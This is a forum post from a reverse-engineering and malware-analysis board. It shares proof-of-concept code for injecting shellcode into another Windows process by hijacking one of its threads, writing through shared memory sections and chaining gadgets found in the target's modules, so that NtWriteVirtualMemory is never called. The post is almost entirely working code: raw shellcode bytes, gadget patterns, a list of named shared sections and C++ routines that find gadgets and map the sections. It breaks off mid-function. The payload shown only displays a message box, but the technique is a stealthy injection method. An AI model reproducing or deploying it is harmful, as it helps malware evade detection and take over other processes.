A forum for reverse engineering, OS internals and malware analysis 

Forum for discussion about user-mode development.
 #24361  by BKsky
 Sun Nov 16, 2014 6:46 pm
nothing new, it's just a PoC. No NtWriteVirtualMemory, NtMapViewofSection for writing the code. By nature, hijacking threads can have a
high level of instability, consider it. Stability and requirements can be improved; it's possible to inject our code without opening a shared section
Hit: any process that can keep our code ( somehow ) is useful.

code.asm:
Code: Select all
include masm32rt.inc
option casemap:none

.data
BegMark	BYTE 62h, 6Bh, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h
	    BYTE 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h
	    BYTE 37h, 46h, 46h, 46h, 46h, 46h, 46h, 46h
SizeofBegMark EQU $-BegMark

Shellcode db 83h, 0C4h, 0Ch, 8Bh, 85h, 0E8h, 00h, 00h, 00h, 83h, 0ADh, 3Ch, 05h, 00h, 00h, 04h
	    db 8Bh, 09Dh, 3Ch, 05h, 00h, 00h, 89h, 03h, 0E8h, 00h, 00h, 00h, 00h, 5Fh, 81h, 0C7h
	    db 23h, 00h, 00h, 00h, 6Ah, 00h, 6Ah, 00h, 55h, 57h, 6Ah, 00h, 6Ah, 00h, 0FFh, 95h
	    db 0E0h, 00h, 00h, 00h, 09Dh, 58h, 59h, 5Ah, 5Bh, 5Dh, 5Eh, 5Fh, 5Ch, 0C3h, 8Bh, 0FFh
	    db 8Bh, 74h, 24h, 04h, 64h, 8Bh, 3Dh, 18h, 00h, 00h, 00h, 8Bh, 7Fh, 30h, 8Bh, 7Fh
	    db 10h, 0Fh, 0B7h, 47h, 38h, 85h, 0C0h, 74h, 14h, 8Dh, 86h, 96h, 00h, 00h, 00h, 6Ah
	    db 00h, 50h, 0FFh, 77h, 3Ch, 6Ah, 00h, 0FFh, 96h, 0E4h, 00h, 00h, 00h, 0C2h, 04h
SizeofShellcode EQU $-Shellcode

UCSTR  TittleMsg, "Hello World from:",0

UNICODE_STRING STRUCT
   _Length          WORD   ?
   MaximumLength    WORD   ?
   Buffer           PWSTR  ?
UNICODE_STRING ENDS
LPUNICODE_STRING typedef PTR UNICODE_STRING

RTL_DRIVE_LETTER_CURDIR STRUCT
    Flags               WORD ?
    _Length              WORD ?
    TimeStamp           DWORD ?
    DosPath             UNICODE_STRING <>
RTL_DRIVE_LETTER_CURDIR ends
LPRTL_DRIVE_LETTER_CURDIR typedef ptr RTL_DRIVE_LETTER_CURDIR

RTL_USER_PROCESS_PARAMETERS STRUCT
    MaximumLength       DWORD ?
    _Length             DWORD ?
    Flags               DWORD ?
    DebugFlags          DWORD ?
    ConsoleHandle       LPVOID ?
    ConsoleFlags        DWORD ?
    StandardInput       LPVOID ?
    StandardOutput      LPVOID ?
    StandardError       LPVOID ?
    CurrentDirectoryPath	UNICODE_STRING	<>
    Handle	            HANDLE ?
    DllPath	            UNICODE_STRING <>
    ImagePathName	    UNICODE_STRING	<>	; Full path in DOS-like format to process'es file image.
    CommandLine	        UNICODE_STRING	<>    
    Environment         LPVOID ?
    StartingX           DWORD ?
    StartingY           DWORD ?
    CountX              DWORD ?
    CountY              DWORD ?
    CountCharsX         DWORD ?
    CountCharsY         DWORD ?
    FillAttribute       DWORD ?
    WindowFlags         DWORD ?
    ShowWindowFlags     DWORD ?
    WindowTitle         UNICODE_STRING	<>
    DesktopInfo         UNICODE_STRING	<>
    ShellInfo           UNICODE_STRING	<>
    RuntimeData         UNICODE_STRING	<>
    CurrentDirectores   RTL_DRIVE_LETTER_CURDIR <>
    EnvironmentSize     DWORD ?
    EnvironmentVersion  DWORD ?
RTL_USER_PROCESS_PARAMETERS ends
LPRTL_USER_PROCESS_PARAMETERS typedef ptr RTL_USER_PROCESS_PARAMETERS

REMOTE_CODE_STRUCTURE STRUCT DWORD
    BeginningMark	BYTE  SizeofBegMark dup (?)
	Shellcode		BYTE  SizeofShellcode dup (?)    
    TittleMsgBox	WCHAR sizeof TittleMsg dup (?)
    CreateThread 	LPVOID  ?
	MessageBoxW		LPVOID  ?
	tc_Eip    		DWORD   ?
	StackSpace      DWORD 100h dup (?)
	RetRmCode0      LPVOID ?
	lpAddress       LPVOID ?
	dwSize          DWORD ?
	flAllocationType DWORD ?
	flProtect       DWORD ?
	RetRmCode1      DWORD ?
	PopEsi          LPVOID ?
	RetRmCode2      DWORD ?
	PopEcx          LPVOID ?
	RetRmCode3      DWORD ?
	src             LPVOID ?
	count           DWORD ?
	_Flags          DWORD ?
    _Eax            DWORD ?
    _Ecx            DWORD ?
    _Edx            DWORD ?
    _Ebx            DWORD ?
    _Ebp            DWORD ?
    _Esi            DWORD ?
    _Edi            DWORD ?
    _Esp            DWORD ?
REMOTE_CODE_STRUCTURE ends
LPREMOTE_CODE_STRUCTURE typedef ptr REMOTE_CODE_STRUCTURE

s REMOTE_CODE_STRUCTURE <"begin","sh">

.code
entry_shellcode:
    add esp,0ch

	assume ebp:LPREMOTE_CODE_STRUCTURE
	mov eax,[ebp].tc_Eip
	sub [ebp]._Esp,sizeof DWORD
	mov ebx,[ebp]._Esp
    mov [ebx],eax
	call get_eip
get_eip:
	pop edi
	add edi,new_thread-get_eip
	push NULL
	push 0
	push ebp
	push edi
	push 0
	push NULL
    call [ebp].CreateThread
	assume ebp:nothing
    popfd
    pop eax
    pop ecx
    pop edx
    pop ebx
    pop ebp
    pop esi
    pop edi
    pop esp
    ret
	ALIGN 4
new_thread:
	assume fs:nothing
	mov esi,[esp+04h]
	mov edi,fs:[18h]
	mov edi,[edi+30h]
	mov edi,[edi+10h]
	assume edi:LPRTL_USER_PROCESS_PARAMETERS
	assume esi:LPREMOTE_CODE_STRUCTURE
	movzx eax,[edi].ImagePathName._Length
	test eax,eax
	je Finish_
	lea eax,[esi].TittleMsgBox
	push MB_OK
	push eax
	push [edi].ImagePathName.Buffer
	push NULL
	call [esi].MessageBoxW
Finish_:
	ret 04h
end entry_shellcode 
inject.h:
Code: Select all
#pragma once
#include <Windows.h>
#include <stdio.h>
#include "NtDef.h" // your nt definitions

#define PTR_ADD_OFFSET(Pointer,Offset) ((LPVOID)((ULONG_PTR)(Pointer) + (ULONG_PTR)(Offset)))
#define PTR_SUB_OFFSET(Pointer,Offset) ((LPVOID)((ULONG_PTR)(Pointer) - (ULONG_PTR)(Offset)))

const LPWSTR SharedSections[] =
{
    TEXT("\\BaseNamedObjects\\ShimSharedMemory"),
    TEXT("\\BaseNamedObjects\\mmGlobalPnpInfo"),
    TEXT("\\BaseNamedObjects\\__ComCatalogCache__"),
    TEXT("\\BaseNamedObjects\\windows_ie_global_counters"),
    TEXT("\\BaseNamedObjects\\SessionImmersiveColorSet"),
    TEXT("\\BaseNamedObjects\\windows_shell_global_counters"),
};



/*
    50      PUSH EAX
    FFD6    CALL ESI
*/
const BYTE RmCode0[] =
{
    0x50,0xFF,0xD6
};

/*
    5E      POP ESI
    5B      POP EBX
    C3      RETN
*/
const BYTE RmCodeEsi[] =
{
    0x5E,0x5B,0xC3
}; 

/*
    5E      POP ESI
    C3      RETN
*/
const BYTE RmCode1[] =
{
    0x5E,0xC3
}; 

/*
    59      POP ECX
    C3      RETN
*/
const BYTE RmCode2[] =
{
    0x59,0xC3
}; 

/*
    50      PUSH EAX
    53      PUSH EBX
    FFD6    CALL ESI
*/
const BYTE RmCode3[] =
{
    0x50,0x53,0xFF,0xD6
}; 

/*
    57      PUSH EDI
    FFD1    CALL ECX
*/
const BYTE RmCodeEsi2[] =
{
    0x57,0xFF,0xD1
}; 

/*
    5E      POP ESI
    C2 0C00 RETN 0x04
*/
const BYTE RMCodeEcx[] =
{
    0x5E,0xC2,0x04,0x00
}; 

const BYTE BegMark[] = {
    0x62, 0x6B, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30,
	0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30,
	0x37, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46
};

const BYTE Code[] = {
	0x83, 0xC4, 0x0C, 0x8B, 0x85, 0xE8, 0x00, 0x00, 0x00, 0x83, 0xAD, 0x3C, 0x05, 0x00, 0x00, 0x04,
	0x8B, 0x9D, 0x3C, 0x05, 0x00, 0x00, 0x89, 0x03, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5F, 0x81, 0xC7,
	0x23, 0x00, 0x00, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x55, 0x57, 0x6A, 0x00, 0x6A, 0x00, 0xFF, 0x95,
	0xE0, 0x00, 0x00, 0x00, 0x9D, 0x58, 0x59, 0x5A, 0x5B, 0x5D, 0x5E, 0x5F, 0x5C, 0xC3, 0x8B, 0xFF,
	0x8B, 0x74, 0x24, 0x04, 0x64, 0x8B, 0x3D, 0x18, 0x00, 0x00, 0x00, 0x8B, 0x7F, 0x30, 0x8B, 0x7F,
	0x10, 0x0F, 0xB7, 0x47, 0x38, 0x85, 0xC0, 0x74, 0x14, 0x8D, 0x86, 0x98, 0x00, 0x00, 0x00, 0x6A,
	0x00, 0x50, 0xFF, 0x77, 0x3C, 0x6A, 0x00, 0xFF, 0x96, 0xE4, 0x00, 0x00, 0x00, 0xC2, 0x04
};

const WCHAR MsgTittle[] = TEXT("Hello World from:");


#pragma pack(push,4)
typedef struct _REMOTE_CODE_STRUCTURE
{
    BYTE BeginningMark[sizeof(BegMark)];
    BYTE Shellcode[sizeof(Code)];
    WCHAR TittleMsgBox[sizeof(MsgTittle)];
    LPVOID CreateThread;
    LPVOID MessageBoxW;
    DWORD tc_Eip;

    DWORD StackSpace[0x100];
    LPVOID RetRmCode0;
    LPVOID lpAddress;
    SIZE_T dwSize;
    DWORD flAllocationType;
    DWORD flProtect;

    LPVOID RetRmCode1;
    LPVOID PopEsi;
    LPVOID RetRmCode2;
    LPVOID PopEcx;
    LPVOID RetRmCode3;

    LPVOID src;
    SIZE_T count;

    DWORD _Flags;
    DWORD _Eax;
    DWORD _Ecx;
    DWORD _Edx;
    DWORD _Ebx;
    DWORD _Ebp;
    DWORD _Esi;
    DWORD _Edi;
    DWORD _Esp;
}REMOTE_CODE_STRUCTURE,*PREMOTE_CODE_STRUCTURE;
#pragma pack(pop)

extern "C"
{
    NTSTATUS NTAPI LdrLoadDll(IN PWCHAR PathToFile OPTIONAL,IN ULONG Flags OPTIONAL,IN PUNICODE_STRING ModuleFileName,OUT PHANDLE ModuleHandle);
    NTSTATUS NTAPI RtlGetVersion(PRTL_OSVERSIONINFOW lpVersionInformation);
    NTSTATUS NTAPI NtQuerySystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,IN OUT PVOID SystemInformation,IN ULONG SystemInformationLength,OUT PULONG ReturnLength OPTIONAL);
    NTSTATUS NTAPI NtQueryInformationProcess(IN HANDLE ProcessHandle,IN PROCESS_INFORMATION_CLASS ProcessInformationClass,OUT PVOID ProcessInformation,IN ULONG ProcessInformationLength,OUT PULONG ReturnLength);
    NTSTATUS NTAPI NtOpenThread(OUT PHANDLE ThreadHandle,IN ACCESS_MASK AccessMask,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId);
    NTSTATUS NTAPI NtSuspendThread(IN HANDLE ThreadHandle,OUT PULONG PreviousSuspendCount OPTIONAL);
    NTSTATUS NTAPI NtResumeThread(IN HANDLE ThreadHandle,OUT PULONG SuspendCount OPTIONAL);
    NTSTATUS NTAPI NtUnmapViewOfSection(IN HANDLE ProcessHandle,IN PVOID BaseAddress );
    NTSTATUS NTAPI NtQueueApcThread(IN HANDLE ThreadHandle,IN PIO_APC_ROUTINE ApcRoutine,IN PVOID ApcRoutineContext OPTIONAL,IN PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL,IN ULONG ApcReserved OPTIONAL);
    NTSTATUS NTAPI NtWriteVirtualMemory(IN HANDLE ProcessHandle,IN PVOID BaseAddress,IN PVOID Buffer,IN ULONG NumberOfBytesToWrite,OUT PULONG NumberOfBytesWritten OPTIONAL);
    NTSTATUS NTAPI NtAllocateVirtualMemory(IN HANDLE ProcessHandle,IN OUT PVOID *BaseAddress,IN ULONG ZeroBits,IN OUT PULONG RegionSize,IN ULONG AllocationType,IN ULONG Protect);
    NTSTATUS NTAPI NtReadVirtualMemory(IN HANDLE ProcessHandle,IN PVOID BaseAddress,OUT PVOID Buffer,IN SIZE_T NumberOfBytesToRead,OUT PSIZE_T NumberOfBytesRead OPTIONAL);
    NTSTATUS NTAPI NtFreeVirtualMemory(IN HANDLE ProcessHandle,IN PVOID *BaseAddress,IN OUT PULONG RegionSize,IN ULONG FreeType);
    NTSTATUS NTAPI NtCreateSection(OUT PHANDLE SectionHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,IN PLARGE_INTEGER MaximumSize OPTIONAL,IN ULONG SectionPageProtection OPTIONAL,IN ULONG AllocationAttributes,IN HANDLE FileHandle OPTIONAL);
    NTSTATUS NTAPI NtMapViewOfSection(IN HANDLE SectionHandle,IN HANDLE ProcessHandle,IN OUT PVOID *BaseAddress OPTIONAL,IN ULONG ZeroBits OPTIONAL,IN ULONG CommitSize,IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,IN OUT PULONG ViewSize,IN SECTION_INHERIT InheritDisposition,IN ULONG AllocationType OPTIONAL,IN ULONG Protect);
    NTSTATUS NTAPI NtOpenProcess(OUT PHANDLE ProcessHandle,IN ACCESS_MASK AccessMask,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId);
    NTSTATUS NTAPI NtClose(IN HANDLE ObjectHandle);
    NTSTATUS NTAPI NtQueryInformationFile(IN HANDLE FileHandle,OUT PIO_STATUS_BLOCK IoStatusBlock,OUT PVOID FileInformation,IN ULONG Length,IN FILE_INFORMATION_CLASS FileInformationClass);
    LPVOID NTAPI RtlAllocateHeap(IN PVOID HeapHandle,IN ULONG Flags,IN ULONG Size);
    BOOLEAN NTAPI RtlFreeHeap(IN LPVOID HeapHandle,IN ULONG Flags OPTIONAL,IN PVOID HeapBase);
    LPVOID NTAPI RtlReAllocateHeap(IN PVOID HeapHandle,IN ULONG Flags,IN PVOID MemoryPointer,IN ULONG Size);
    VOID NTAPI RtlInitUnicodeString(OUT PUNICODE_STRING DestinationString,IN PCWSTR SourceString OPTIONAL);
    NTSTATUS NTAPI NtOpenSection(OUT PHANDLE SectionHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes);
    NTSTATUS NTAPI NtQueryVirtualMemory(IN HANDLE ProcessHandle,IN PVOID BaseAddress,IN MEMORY_INFORMATION_CLASS MemoryInformationClass,OUT PVOID Buffer,IN ULONG Length,OUT PULONG ResultLength OPTIONAL);
    BOOLEAN NTAPI RtlDosPathNameToNtPathName_U(IN PCWSTR DosPathName OPTIONAL,OUT PUNICODE_STRING NtPathName,OUT PCWSTR* NtFileNamePart OPTIONAL,OUT PRTL_RELATIVE_NAME_U DirectoryInfo OPTIONAL);
    NTSTATUS NTAPI NtCreateFile(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN PLARGE_INTEGER AllocationSize OPTIONAL,IN ULONG FileAttributes,IN ULONG ShareAccess,IN ULONG CreateDisposition,IN ULONG CreateOptions,IN PVOID EaBuffer OPTIONAL,IN ULONG EaLength);
    NTSTATUS NTAPI NtReadFile(IN HANDLE FileHandle,IN HANDLE Event OPTIONAL,IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,IN PVOID ApcContext OPTIONAL,OUT PIO_STATUS_BLOCK IoStatusBlock,OUT PVOID Buffer,IN ULONG Length,IN PLARGE_INTEGER ByteOffset OPTIONAL,IN PULONG Key OPTIONAL);
    NTSTATUS NTAPI LdrGetProcedureAddress(IN HMODULE ModuleHandle,IN PANSI_STRING FunctionName OPTIONAL,IN WORD Oridinal OPTIONAL,OUT PVOID *FunctionAddress);
    NTSTATUS NTAPI NtGetContextThread(IN HANDLE ThreadHandle,OUT PCONTEXT pContext);
    NTSTATUS NTAPI NtSetContextThread(IN HANDLE ThreadHandle,IN PCONTEXT Context);
    NTSTATUS NTAPI RtlWow64GetThreadContext(IN HANDLE ThreadHandle,IN OUT PWOW64_CONTEXT ThreadContext);
    NTSTATUS NTAPI RtlWow64SetThreadContext(IN HANDLE ThreadHandle,IN PWOW64_CONTEXT ThreadContext);
    NTSTATUS NTAPI NtProtectVirtualMemory(IN HANDLE ProcessHandle,IN OUT PVOID *BaseAddress,IN OUT PULONG NumberOfBytesToProtect,IN ULONG NewAccessProtection,OUT PULONG OldAccessProtection );
    NTSTATUS NTAPI NtAlertResumeThread(IN HANDLE ThreadHandle,OUT PULONG SuspendCount);
    NTSTATUS NTAPI NtOpenThreadToken(IN HANDLE ThreadHandle,IN ACCESS_MASK DesiredAccess,IN BOOLEAN OpenAsSelf,OUT PHANDLE TokenHandle);
    NTSTATUS NTAPI NtSetInformationThread(IN HANDLE ThreadHandle,IN THREAD_INFORMATION_CLASS ThreadInformationClass,IN PVOID ThreadInformation,IN ULONG ThreadInformationLength);
    NTSTATUS NTAPI NtOpenDirectoryObject(OUT PHANDLE DirectoryObjectHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes);
    NTSTATUS NTAPI NtCreateMutant(OUT PHANDLE MutantHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,IN BOOLEAN InitialOwner);
};

NTSTATUS TCHInjection(IN DWORD PID);
inject.cpp:
Code: Select all
#include "inject.h"

ULONG FindPattern(LPVOID Memory,SIZE_T MemorySize,LPVOID Pattern,SIZE_T PatternSize)
{
    for(SIZE_T x = 0; (x + PatternSize) < MemorySize; x++)
    {
        if(memcmp(&((LPBYTE)Memory)[x],Pattern,PatternSize) == 0)
        {
            return x;
        }
    }
    return 0xFFFFFFFF;
}

NTSTATUS GetTIDFromPID(IN DWORD PID,OUT PDWORD TID)
{
    NTSTATUS NtStatus;
    LPVOID Buffer;
    ULONG Size;
    PSYSTEM_PROCESS_INFORMATION ProcessInfo;
    ULONG NextEntryOffset;

    Size = 0x10000;
    Buffer = HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Size);
    while(TRUE)
    {
        NtStatus = NtQuerySystemInformation(SystemProcessInformation,Buffer,Size,&Size);
        if(NT_SUCCESS(NtStatus))
        {
            break;
        }
        else if(NtStatus == STATUS_INFO_LENGTH_MISMATCH)
        {
            Size += 0x10000;
            Buffer = HeapReAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Buffer,Size);
        }
        else
        {
            printf("NtQuerySystemInformation error: %X\n",NtStatus);
            goto Finish_;
        }
    }

    NextEntryOffset = 0;
    NtStatus = STATUS_NOT_FOUND;
    ProcessInfo = (PSYSTEM_PROCESS_INFORMATION)Buffer;
    do
    {
        ProcessInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)ProcessInfo + NextEntryOffset);
        if(ProcessInfo->ProcessId == (HANDLE)PID)
        {
            if(ProcessInfo->NumberOfThreads > 0)
            {
                *TID = (DWORD)ProcessInfo->Threads[0].ClientId.UniqueThread;
                NtStatus = STATUS_SUCCESS;
                break;
            }
        }

        NextEntryOffset = ProcessInfo->NextEntryOffset;
    }while(NextEntryOffset > 0);

Finish_:
    HeapFree(GetProcessHeap(),0,Buffer);
    return NtStatus;
}

NTSTATUS RemoteEnumModules(IN HANDLE hProcess,OUT LPVOID** lpModules,OUT PULONG NumModules)
{
    NTSTATUS NtStatus;
    PROCESS_BASIC_INFORMATION ProcBasicInfo;
    PPEB_LDR_DATA LdrData;
    PLIST_ENTRY ListHeadPtr;
    PLIST_ENTRY ListEntryPtr;
    LDR_DATA_TABLE_ENTRY ModuleEntry;
    LPVOID* ModBaseAddress;
    ULONG NumOfModules;
    ULONG HpMemSize;

    if( (!lpModules) ||
        (!NumModules))
    {
        return STATUS_INVALID_PARAMETER;
    }

    NtStatus = NtQueryInformationProcess(hProcess,ProcessBasicInformation,&ProcBasicInfo,sizeof(ProcBasicInfo),NULL);
    if(!NT_SUCCESS(NtStatus))
    {
        return NtStatus;
    }
    NtStatus = NtReadVirtualMemory(hProcess,&((PPEB)ProcBasicInfo.PebBaseAddress)->Ldr,&LdrData,sizeof(LdrData),NULL);
    if(!NT_SUCCESS(NtStatus))
    {
        return NtStatus;
    }

    ListHeadPtr = &LdrData->InLoadOrderModuleList;
    NtStatus = NtReadVirtualMemory(hProcess,&LdrData->InLoadOrderModuleList.Flink,&ListEntryPtr,sizeof(ListEntryPtr),NULL);
    if(!NT_SUCCESS(NtStatus))
    {
        return NtStatus;
    }
    
    NumOfModules = 0;
    HpMemSize = sizeof(LPVOID) * 100;
    ModBaseAddress = (LPVOID*)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,HpMemSize);
    NtStatus = STATUS_SUCCESS;

    while (ListEntryPtr != ListHeadPtr)
    {
        NtStatus = NtReadVirtualMemory(hProcess,ListEntryPtr,&ModuleEntry,sizeof(ModuleEntry),NULL);
        if(!NT_SUCCESS(NtStatus))
        {
            HeapFree(GetProcessHeap(),0,ModBaseAddress);
            return NtStatus;
        }

        if(ModuleEntry.DllBase)
        {
            if((NumOfModules + 1) * sizeof(LPVOID) >= HpMemSize)
            {
                HpMemSize += sizeof(LPVOID) * 100;
                ModBaseAddress = (LPVOID*)HeapReAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,ModBaseAddress,HpMemSize);
            }

            ModBaseAddress[NumOfModules] = ModuleEntry.DllBase;
            NumOfModules++;
        }

        ListEntryPtr = ModuleEntry.InLoadOrderLinks.Flink;
    }

    *lpModules = ModBaseAddress;
    *NumModules = NumOfModules;

    return NtStatus;
}

NTSTATUS GetInstructionsAddr(IN HANDLE hProcess,OUT PREMOTE_CODE_STRUCTURE pStruct,LPVOID *EsiField)
{
    typedef struct _RM_CODE {
        LPBYTE Ptr;
        ULONG NumBytes;
        LPVOID* SavePtr;
    }RM_CODE,*PRM_CODE;

    NTSTATUS NtStatus;
    HANDLE hCurrentProcess;
    LPVOID* ModulesArr;
    ULONG NumModules;
    BYTE ModuleHeaders[0x800];
    RM_CODE RMCodes[] = {
        {(LPBYTE)RmCode0,sizeof(RmCode0),&pStruct->RetRmCode0},
        {(LPBYTE)RmCode1,sizeof(RmCode1),&pStruct->RetRmCode1},
        {(LPBYTE)RmCodeEsi,sizeof(RmCodeEsi),EsiField},
        {(LPBYTE)RmCode2,sizeof(RmCode2),&pStruct->RetRmCode2},
        {(LPBYTE)RmCode3,sizeof(RmCode3),&pStruct->RetRmCode3},
        {(LPBYTE)RmCodeEsi2,sizeof(RmCodeEsi2),&pStruct->PopEsi},
        {(LPBYTE)RMCodeEcx,sizeof(RMCodeEcx),&pStruct->PopEcx}};

    if(!pStruct)
    {
        return STATUS_INVALID_PARAMETER;
    }

    NtStatus = RemoteEnumModules(hProcess,&ModulesArr,&NumModules);
    if(!NT_SUCCESS(NtStatus))
    {
        return NtStatus;
    }

    hCurrentProcess = GetCurrentProcess();
    for(LONG c = 0; c < sizeof(RMCodes) / sizeof(RMCodes[0]); c++)
    {
        NTSTATUS RMCodeFound;

        RMCodeFound = STATUS_NOT_FOUND;

        for(ULONG m = 0; m < NumModules; m++)
        {
            NtStatus = NtReadVirtualMemory(
                hProcess,
                ModulesArr[m],
                ModuleHeaders,
                sizeof(ModuleHeaders),
                NULL);
            if(!NT_SUCCESS(NtStatus))
            {
                continue;
            }

            PIMAGE_DOS_HEADER DOSHeader;
            PIMAGE_NT_HEADERS NTHeader;
            PIMAGE_SECTION_HEADER SectionHeader;
            LPVOID PESectionBaseAddress;
            LPVOID PESection;
            ULONG PESectionSize;
            MEMORY_BASIC_INFORMATION MemBasicInfo;
            ULONG PatternOff;

            DOSHeader = (PIMAGE_DOS_HEADER)ModuleHeaders;
            NTHeader = (PIMAGE_NT_HEADERS)((ULONG_PTR)DOSHeader + DOSHeader->e_lfanew);
            SectionHeader = IMAGE_FIRST_SECTION(NTHeader);

            if((DOSHeader->e_magic == IMAGE_DOS_SIGNATURE) &&
                (NTHeader->Signature == IMAGE_NT_SIGNATURE) &&
                (NTHeader->OptionalHeader.SizeOfHeaders <= sizeof(ModuleHeaders)))
            {
                for(ULONG s = 0; s < NTHeader->FileHeader.NumberOfSections; s++)
                {
                    PESection = NULL;
                    PESectionSize = SectionHeader[s].Misc.VirtualSize;
                    PESectionBaseAddress = PTR_ADD_OFFSET(ModulesArr[m],SectionHeader[s].VirtualAddress);

                    NtStatus = NtQueryVirtualMemory(
                        hProcess,
                        PESectionBaseAddress,
                        MemoryBasicInformation,
                        &MemBasicInfo,
                        sizeof(MEMORY_BASIC_INFORMATION),
                        NULL);
                    if(!NT_SUCCESS(NtStatus))
                    {
                        continue;
                    }

                    if(!(MemBasicInfo.Protect & PAGE_EXECUTE_READ))
                    {
                        continue;
                    }

                    NtStatus = NtAllocateVirtualMemory(
                        hCurrentProcess,
                        &PESection,
                        0,
                        &PESectionSize,
                        MEM_COMMIT | MEM_RESERVE,
                        PAGE_READWRITE);
                    if(!NT_SUCCESS(NtStatus))
                    {
                        continue;
                    }

                    /* Read section */
                    NtStatus = NtReadVirtualMemory(
                        hProcess,
                        PESectionBaseAddress,
                        PESection,
                        PESectionSize,
                        NULL);
                    if(!NT_SUCCESS(NtStatus))
                    {
                        goto fmem;
                    }

                    PatternOff = FindPattern(
                        PESection,
                        PESectionSize,
                        RMCodes[c].Ptr,
                        RMCodes[c].NumBytes);
                    if(PatternOff != 0xFFFFFFFF)
                    {
                        NtFreeVirtualMemory(
                            hCurrentProcess,
                            &PESection,
                            &PESectionSize,
                            MEM_RELEASE);

                        *RMCodes[c].SavePtr = PTR_ADD_OFFSET(PESectionBaseAddress,PatternOff);
                        RMCodeFound = STATUS_SUCCESS;

                        goto val_result;
                    }

fmem:
                    NtFreeVirtualMemory(
                        hCurrentProcess,
                        &PESection,
                        &PESectionSize,
                        MEM_RELEASE);
                }
            }
        }

val_result:
        if(!NT_SUCCESS(RMCodeFound))
        {
            NtStatus = RMCodeFound;
            break;
        }
    }

    HeapFree(GetProcessHeap(),0,ModulesArr);
    return NtStatus;
}

    hSection: Pointer to a variable that receives a handle of the shared section
    BaseOfView: Pointer to a variable that receives a pointer to the base address of map view
    SizeOfView: Pointer to a variable that receives the size of view in bytes
    RemoteAddrOfBeginMark: Pointer to a variable that receives the address of the beginning of the mark 
    in the remote process

    If the function succeeds, the return value is STATUS_SUCCESS otherwise any NTSTATUS value
    ------------------------------------------------------------------------------------------------------
    This loop walk on the array of names of shared sections, attempts to map the section, check the size 
    page in order to know if there is enough space to write our bytes then looks for a sequence of bytes 
    that have been written in the section in order to know if that section is mapped into the process
    (alternatively you can list handles of the target process and look for any shared sections) .
    In other words this function validates the environment of the target process so we can know if 
    possible to continue with our 
    
*/
NTSTATUS GetSharedSection(HANDLE hTargetProcess,OUT HANDLE* hSection,OUT LPVOID* BaseOfView,OUT PULONG SizeOfView,OUT LPVOID* RemoteAddrOfBeginMark)
{
    NTSTATUS NtStatus;
    HANDLE hCurrentProcess;
    LPVOID AllocatedBuffer;
    ULONG AllocatedSize;
    UNICODE_STRING SectionName;
    OBJECT_ATTRIBUTES ObjAttr;
    HANDLE SectionHandle;
    LPVOID BaseAddress;
    ULONG Size;
    MEMORY_BASIC_INFORMATION MemBasicInfo;
    LPVOID QueryBaseAddress;
    LPVOID BeginMark;
    ULONG BeginMarkOff;

    if( (!hSection)  ||
        (!BaseOfView) ||
        (!SizeOfView) ||
        (!RemoteAddrOfBeginMark))
    {
        return STATUS_INVALID_PARAMETER;
    }

    hCurrentProcess = GetCurrentProcess();
    AllocatedBuffer = NULL;
    AllocatedSize = 0x10000; // 64KB
    if(!NT_SUCCESS(NtStatus = NtAllocateVirtualMemory(
        hCurrentProcess,
        &AllocatedBuffer,
        0,
        &AllocatedSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE)))
    {
        return NtStatus;
    }

    for(ULONG s = 0; s < sizeof(SharedSections) / sizeof(SharedSections[0]); s++)
    {
        RtlInitUnicodeString(&SectionName,SharedSections[s]);
        InitializeObjectAttributes(&ObjAttr,&SectionName,0,NULL,NULL);
        NtStatus = NtOpenSection(&SectionHandle,SECTION_MAP_WRITE | SECTION_MAP_READ,&ObjAttr);
        if(NT_SUCCESS(NtStatus))
        {
            BaseAddress = NULL;
            Size = 0;
            NtStatus = NtMapViewOfSection(
                SectionHandle,
                hCurrentProcess,
                &BaseAddress,
                0,
                0,
                NULL,
                &Size,
                ViewUnmap,
                0,
                PAGE_READWRITE);

            if(NT_SUCCESS(NtStatus) || NtStatus == STATUS_IMAGE_NOT_AT_BASE)
            {
                NtStatus = NtQueryVirtualMemory(
                    hCurrentProcess,
                    BaseAddress,
                    MemoryBasicInformation,
                    &MemBasicInfo,
                    sizeof(MEMORY_BASIC_INFORMATION),
                    NULL);
                if(NT_SUCCESS(NtStatus))
                {
                    if(sizeof(REMOTE_CODE_STRUCTURE) <= MemBasicInfo.RegionSize)
                    {
                        RtlCopyMemory(
                            PTR_SUB_OFFSET(PTR_ADD_OFFSET(BaseAddress,MemBasicInfo.RegionSize),sizeof(REMOTE_CODE_STRUCTURE)),
                            BegMark,
                            sizeof(BegMark));

                        QueryBaseAddress = 0;
                        while(NT_SUCCESS(NtQueryVirtualMemory(
                            hTargetProcess,
